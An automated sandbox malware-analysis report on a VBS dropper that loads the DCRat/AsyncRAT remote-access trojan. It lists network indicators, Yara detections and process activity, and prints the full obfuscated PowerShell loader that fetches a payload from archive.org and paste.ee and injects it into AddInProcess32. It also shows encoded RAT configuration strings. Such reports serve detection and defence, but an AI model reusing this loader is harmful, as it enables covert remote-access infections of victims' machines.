Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/AaTNM/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600100.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: paste.ee

Source: AddInProcess32.exe, 00000005.00000002.3319533958.00000000009E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: AddInProcess32.exe, 00000005.00000002.3331586061.0000000004D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabu(
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.2106713768.00000156D48ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2106713768.00000156D33C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2153565809.000001D7B13B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D2F81000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2153565809.000001D7B1382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2153565809.000001D7B1343000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D2F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2106713768.00000156D3FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000004.00000002.2106713768.00000156D45B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D31A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.2106713768.00000156D31A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D3FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000004.00000002.2106713768.00000156D31A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtve5;9jDbase64Content
Source: powershell.exe, 00000004.00000002.2106713768.00000156D48ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.2106713768.00000156D4681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.2106713768.00000156D33C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000004.00000002.2106713768.00000156D33C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/AaTNM/0
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 00000005.00000002.3331586061.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.3319533958.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.3319533958.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 1960, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848E9039C	4_2_00007FF848E9039C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_025F65D0	5_2_025F65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_025F6EA0	5_2_025F6EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_025F6288	5_2_025F6288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_025FB660	5_2_025FB660

Source: vr65co3Boo.vbs

Initial sample: Strings found which are bigger than 50

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 00000005.00000002.3331586061.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.3319533958.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.3319533958.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 1960, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12

Source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, Settings.cs	Base64 encoded string: 'umHrStN1RxgB07nHQrpsMUIWDmSi9QV4SuvD/LLNFAWOLAVbkVmBeVE0CVy1nzUhKwmyP2ckYiyArewUgrmawA==', 'g0OeKS3kucr0CuiXVMR5bvzBnu+mj5daLdHMOyafbwg8EhqdiDLbxaVmLkFPb9KIf6nMXqeFo9F0n4pz17bFkA==', 'UViCp1Rgr3pl1eweamMomnvNT9Nj5I9I4M/DHnojF58BGj5sa9Q9ztr/NscZF5SiZWAO33SoTtt676mUWLeAlg==', 'oB217ACHhWEcdsOasnvNMaFUBKPxmiGZFAggIqX+SHM73bXt+E61bv/KRjHcFhf7USTnKjcsLFOKcC7dQpXw+moQ4bZ/AD5UAx7Z2dsx39rYyp+RUfTa6XH8CCyXmy4NA3d3oqZBiGYPnaRxqO09kA8K1eIplPDDpCFMWr2gyRxA0DDhpgugAL9RZdHF7f14geTRg3SvLBQxnLpAgszj9uQQ4jgNI09FIvtX7gCMUEnhxnfTgWbvpEya7HNPHIzUtgbMGZVrv4tubLLV5biqCWJeno1+QVrQgCDxeWKMKR9ugMQZFpubuqFXU9UkN0X7/OyAsDYpsBHdIj8IpE54Qv1Ew/WzojE0exDu/rDXeb6hasAuWxfgl3NDiW2TFG7GLdI9kj0/9eZTqFlNbL+qICrU1euazXoU0gxTNj9zVAmBe4IMmK54UlYTRIltn1i1w3Ua7e+J3hQswYi8KA11IVssTGKamFqTaNxU5vX7o8OGYGfBHbYhx6x6HID1zyYGdshW5bGnojS/dnSGYOcPHRI457DgyXeV/vS8Ky0+oke9bkWLU/pIgQYD8w+RudXhGQL9Ks/BmjelLqXIXdEA+Qr9JrBunG67KztyEmDOo6oRSN7W44FUCaAaOAKQ7h10Vvg4CBCNHYOO1ZLqnW074W0IKJVGLYO78DETExueI1p5F7CRNLQa+/Pw6tQ9s+oRZ8hfCogRnLh0wDpVsAZoQ9f+PdJnNNgLs8c6L3NcgX35aAbiBEVoWlBgc31TgLvMxRuVmfcc5BxJtuTZJHDawiREHgUDSbDYqftzVJZXYA1kxS41TXvuViQm7Zmv/tcgFrFt99rbQ3GrqjRkbkJXt4eTIjCFIIQOFYX5+rU8+ksGJtIhB0/HlRN0oZV5JJZ1ciHDcsg2PL0wDrnIEJ3KSC2f43H3N2tqQXLCJjPjm0GQBr0aI0MgVzIn52kZJvWMN9vhE/QFaSQiYN/FwKAcGB4tRUPiHZjO5OgQZx79LT3qC5Wik0sAJ3y+2wWUOM3TZc19DzdYD0YlcZrp2xO+tBNTY1TMrUM9DCdAK4rsdLk=', 